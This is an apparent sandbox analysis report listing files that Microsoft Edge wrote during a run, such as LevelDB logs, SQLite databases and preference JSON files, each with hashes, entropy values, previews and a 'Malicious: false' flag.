SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b771959f-7033-4720-8fb9-6cb6db15fb10.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d43419d7-feb8-421f-a898-c4703113b9f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ec94e9b9-2d3c-4933-b0ca-624664883fd2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.229272626251601
Encrypted:	false
SSDEEP:	12:6yvLZYebvqBZFUt88B/+4R54ZYebvqBaJ:6YlYebvyg88dDoYebvL
MD5:	11F8FCA37752BDAA69E4C6B288C013FA
SHA1:	ADDBB782E92A9E1F8F8AD547F89886BD0F7B3A40
SHA-256:	768201CA78F637138BFB43C8D1AF32473E73B592D155458D58582F3ABBAEB09C
SHA-512:	20CDB81A2B034255E17EF95A7607BD5C960487E74DD561286BC04B548AB95F7E79D3414901B8CE8A476356E28FB1FA788EEBEC5B2AC0651BABCBD4B892BBD614
Malicious:	false
Preview:	2024/11/13-08:41:41.196 1f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/13-08:41:41.197 1f54 Recovering log #3.2024/11/13-08:41:41.201 1f54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.229272626251601
Encrypted:	false
SSDEEP:	12:6yvLZYebvqBZFUt88B/+4R54ZYebvqBaJ:6YlYebvyg88dDoYebvL
MD5:	11F8FCA37752BDAA69E4C6B288C013FA
SHA1:	ADDBB782E92A9E1F8F8AD547F89886BD0F7B3A40
SHA-256:	768201CA78F637138BFB43C8D1AF32473E73B592D155458D58582F3ABBAEB09C
SHA-512:	20CDB81A2B034255E17EF95A7607BD5C960487E74DD561286BC04B548AB95F7E79D3414901B8CE8A476356E28FB1FA788EEBEC5B2AC0651BABCBD4B892BBD614
Malicious:	false
Preview:	2024/11/13-08:41:41.196 1f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/13-08:41:41.197 1f54 Recovering log #3.2024/11/13-08:41:41.201 1f54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.220138057996006
Encrypted:	false
SSDEEP:	6:HUCQ+q2PcNwi23oH+TcwtpIFUt8YUXuygZmw+YUXuyQVkwOcNwi23oH+Tcwta/Wd:/vLZYebmFUt8G/+654ZYebaUJ
MD5:	76ABFCD008A461EAF6DDD6394FA0DE9C
SHA1:	9F09D1270C6EDFA5B9997BD50B71112BEC3B5365
SHA-256:	CC6BFC810F377BDE7C1FD84E48A2D1FC4F14F8FEB315278A9E5A89591AD7D408
SHA-512:	46AB90AA15F92138577C53EB13BECE7FE6FB26380340F8D3ECDC930E1349E2B51C7953373364B199DC697B039CA83AB64DAFF5603E07AAD524879640FF79BEEB
Malicious:	false
Preview:	2024/11/13-08:41:22.408 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/13-08:41:22.409 1d68 Recovering log #3.2024/11/13-08:41:22.409 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.220138057996006
Encrypted:	false
SSDEEP:	6:HUCQ+q2PcNwi23oH+TcwtpIFUt8YUXuygZmw+YUXuyQVkwOcNwi23oH+Tcwta/Wd:/vLZYebmFUt8G/+654ZYebaUJ
MD5:	76ABFCD008A461EAF6DDD6394FA0DE9C
SHA1:	9F09D1270C6EDFA5B9997BD50B71112BEC3B5365
SHA-256:	CC6BFC810F377BDE7C1FD84E48A2D1FC4F14F8FEB315278A9E5A89591AD7D408
SHA-512:	46AB90AA15F92138577C53EB13BECE7FE6FB26380340F8D3ECDC930E1349E2B51C7953373364B199DC697B039CA83AB64DAFF5603E07AAD524879640FF79BEEB
Malicious:	false
Preview:	2024/11/13-08:41:22.408 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/13-08:41:22.409 1d68 Recovering log #3.2024/11/13-08:41:22.409 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265488541132507
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMLSAELyKOMq+8HKkjucswRv8p3nVuma:K0q+n0JL9ELyKOMq+8HKkjuczRv89G
MD5:	471B7A2292FF480B84164A6AC61C5B40
SHA1:	EBD3C68113808CEF26F81AAC47C2398FA49048A9
SHA-256:	A3783EAE2F666EAC9951FB836EC3F9C5EE23B747C1F389E3720178352B43487A
SHA-512:	3B7200233444FDB826482C95F8B38356D9B071814489FFA2B49F82440A17DA112302C9949821FC1E4A5F768402C763E6F7CB2AB3EA61E2D34F42F7E78D8D1759
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4666079422839129
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0xRIr:v7doKsKuKZKlZNmu46yjx08
MD5:	2DB4F65EFAFCB7C76B011B0A6BC596AA
SHA1:	D598FC6D32ED8B3AA2708270E245725B510A807F
SHA-256:	5E23D2EE0A027E5CBD31902A4715C766D9AA2B2DCB842CE9D3EB11AFBB8FEFFE
SHA-512:	EB1FD87B7FEC41007E8A54CCAF427A3A6F8DD52C61D5D0A9609DC4B8D5E19F21A0E0B7BA9ACECDFF8358C831150E42396EF6B6C4C2B25E70663A5F9D545DED19
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bd4add16-2acd-4cc2-b997-e7d46cd48baf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13041
Entropy (8bit):	5.222278615495323
Encrypted:	false
SSDEEP:	192:stZJ99QTryDiuabatSuyp+sltdyaNP9kMtNpE8CbV+FT3QwB+WPGYJ:stZPGQSu4+sltdtJ4bGjQwh
MD5:	DFFAA8A9AF1D67719AE2A56A0145E936
SHA1:	6ED23C52C3B0E5E44061EE3079F2B1A0409FA467
SHA-256:	9BD4C8DF10E479381B68A582A82B6494A14CCC4B03BBF5523711FA3B300E625B
SHA-512:	35DF026D1839EE7DBE35E93EE15C4E6A21894AD309DF6F7C0E3ED3E41CFC03B97F2B89CCDCB3463FBD78E0C831E1C936DE7DC3C421B1E67612F03F6B34E8A226
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375978883361092","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f45c73ac-c1ee-4a42-ba11-fef90db6df64.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fd689ace-c3a9-46b6-8356-0eb2fcd63586.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17041), with no line terminators
Category:	dropped
Size (bytes):	17045
Entropy (8bit):	5.49913495565656
Encrypted:	false
SSDEEP:	192:stZJ99QTryDiuabatSuyp+sltdyaNPnvkNNhqFfclKe08Wigx+TwKelLE8CbV+Ft:stZPGQSu4+sltdtJnUEn8WJTAbGjQwh
MD5:	FAE6032087B158A63ED7707E5F0A1A0C
SHA1:	D3EAC65B0313C289D5CC322AA50EA6BA4F7E5663
SHA-256:	9537718CA967E045B6D2FA89DA8805E1EADA687A0804D92A02D49B96DDA6A4E4
SHA-512:	AEB4A067CBACE9FD2E969BF264016D61C8BB7DCCD251A72AD313F35B0A5D1012F503534C9055E3C4873214A80A424BD866C736C037754C25ABC188C975088B60
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375978883361092","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10593815267928282
Encrypted:	false
SSDEEP:	12:JntQ04cntQs/WpEjVl/PnnnnnnnnnnnnvoQJEopmMl:Jntv4cnt3/2oPnnnnnnnnnnnnvjj9l
MD5:	835B49D0B811A1F359F9A69F7848AEC3
SHA1:	085C1DBD2A9BC7EAFB7FBC1DFC53CCE602DF9A89
SHA-256:	BAD644B5CF1CFB344A0E1F78A9EEAE403F6EC850CD37AF641F5E3F680B9D43B2
SHA-512:	106B270D98DED25C8098EE036238696B981A747592CAFAC79A757B905EDBE8667FDE0D793CCD70F5F5EE47E33E24223BEA020EE05E821D7B53F69B9E3F600867
Malicious:	false
Preview:	..-.............Q........{U...3.-.....v4+._I....-.............Q........{U...3.-.....v4+._I..........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9311926489379277
Encrypted:	false
SSDEEP:	384:KHbC+VDOq25B8lHi8x7iT6wcieelWiIga1yiGv8wHdyPy2dyiNv8ptyZye2y7xyX:WFzEKh7aRyi
MD5:	2D806BE149AF1CC28C2C25F0F99D8C99
SHA1:	72B613AC984F623EBEBCDE463473619FC94F45CE
SHA-256:	8671A63205AD15ED6ACFF0FD4F8462793DB255AAC3EAB5A6664A178B38E49727
SHA-512:	1AD9A54DF7C73165FDAD83A2F817DA29A2977534F0DECCACD6C42F21FB9000EB08FC419430B35CBC5ACB68589DD26BF8C1D5B231E5B5A952AF9664A053947438
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	419
Entropy (8bit):	3.6926851822774145
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuuuuIBsedhOcU:llc8BOuuuuuuuuuuuuN8rU
MD5:	E69ABB976E98B744BA29191A8271CF51
SHA1:	06F739936F74086AE5BB16F05C38D641B8CCBE19
SHA-256:	24C59F95E91149FC172B903400700ED8267BAA51C914CC83C94668F4412E5862
SHA-512:	1A91D6741845A98608FB49109B09593CF6094AE71853407B3F09D9712AC4D32AD6A8F889621E32B674F0AFF276838B742540F1CBD8A50E0E5518EF3C31A87143
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................q.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.21155093810751
Encrypted:	false
SSDEEP:	6:HUNh+q2PcNwi23oH+TcwtfrK+IFUt8YUNdY5Zmw+YUNftVkwOcNwi23oH+TcwtfR:3vLZYeb23FUt8W5/+DT54ZYeb3J
MD5:	8EA1EEF7A361F9DD79AE713633795BEA
SHA1:	42887C143DDDDE9DBD0C5DDCCA38A64FB3EC5452
SHA-256:	7AC7493D4C3FF4CC27C83C2A5C44A10B7743CE8484064393317659FD4CAC036B
SHA-512:	1B7399041A29F025F05F618F94466F962D17FB2A38DAB4D7684C1875E2C6721B552D789F9A37CB2D002D4450360D7F61F415861306D6BA1211A37FF1D8230D6F
Malicious:	false
Preview:	2024/11/13-08:41:23.581 1fa8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/13-08:41:23.584 1fa8 Recovering log #3.2024/11/13-08:41:23.585 1fa8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.21155093810751
Encrypted:	false
SSDEEP:	6:HUNh+q2PcNwi23oH+TcwtfrK+IFUt8YUNdY5Zmw+YUNftVkwOcNwi23oH+TcwtfR:3vLZYeb23FUt8W5/+DT54ZYeb3J
MD5:	8EA1EEF7A361F9DD79AE713633795BEA
SHA1:	42887C143DDDDE9DBD0C5DDCCA38A64FB3EC5452
SHA-256:	7AC7493D4C3FF4CC27C83C2A5C44A10B7743CE8484064393317659FD4CAC036B
SHA-512:	1B7399041A29F025F05F618F94466F962D17FB2A38DAB4D7684C1875E2C6721B552D789F9A37CB2D002D4450360D7F61F415861306D6BA1211A37FF1D8230D6F
Malicious:	false
Preview:	2024/11/13-08:41:23.581 1fa8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/13-08:41:23.584 1fa8 Recovering log #3.2024/11/13-08:41:23.585 1fa8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.235160880939738
Encrypted:	false
SSDEEP:	6:HUNQ+q2PcNwi23oH+TcwtfrzAdIFUt8YUNLZmw+YUNtVkwOcNwi23oH+TcwtfrzS:WvLZYeb9FUt8X/+X54ZYeb2J
MD5:	2A48237044220B0B8EF3CE4796B1D3EF
SHA1:	79A1A49F0A11211554D856B31978B0DCE93FB764
SHA-256:	FF164024608C9E14A6A8D8EF8D834D5A2BECCA190EEAD5D7DB740C103E0D128D
SHA-512:	89FD99455870A401F29BED2B37BE2F223D22A94CC38EF328507E6D3BEB5264E79E9BCFD772AF407A3380517179AC30718D3055DEE67A8DD050C84A77B9BE0D66
Malicious:	false
Preview:	2024/11/13-08:41:23.568 1fa8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/13-08:41:23.569 1fa8 Recovering log #3.2024/11/13-08:41:23.570 1fa8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.235160880939738
Encrypted:	false
SSDEEP:	6:HUNQ+q2PcNwi23oH+TcwtfrzAdIFUt8YUNLZmw+YUNtVkwOcNwi23oH+TcwtfrzS:WvLZYeb9FUt8X/+X54ZYeb2J
MD5:	2A48237044220B0B8EF3CE4796B1D3EF
SHA1:	79A1A49F0A11211554D856B31978B0DCE93FB764
SHA-256:	FF164024608C9E14A6A8D8EF8D834D5A2BECCA190EEAD5D7DB740C103E0D128D
SHA-512:	89FD99455870A401F29BED2B37BE2F223D22A94CC38EF328507E6D3BEB5264E79E9BCFD772AF407A3380517179AC30718D3055DEE67A8DD050C84A77B9BE0D66
Malicious:	false
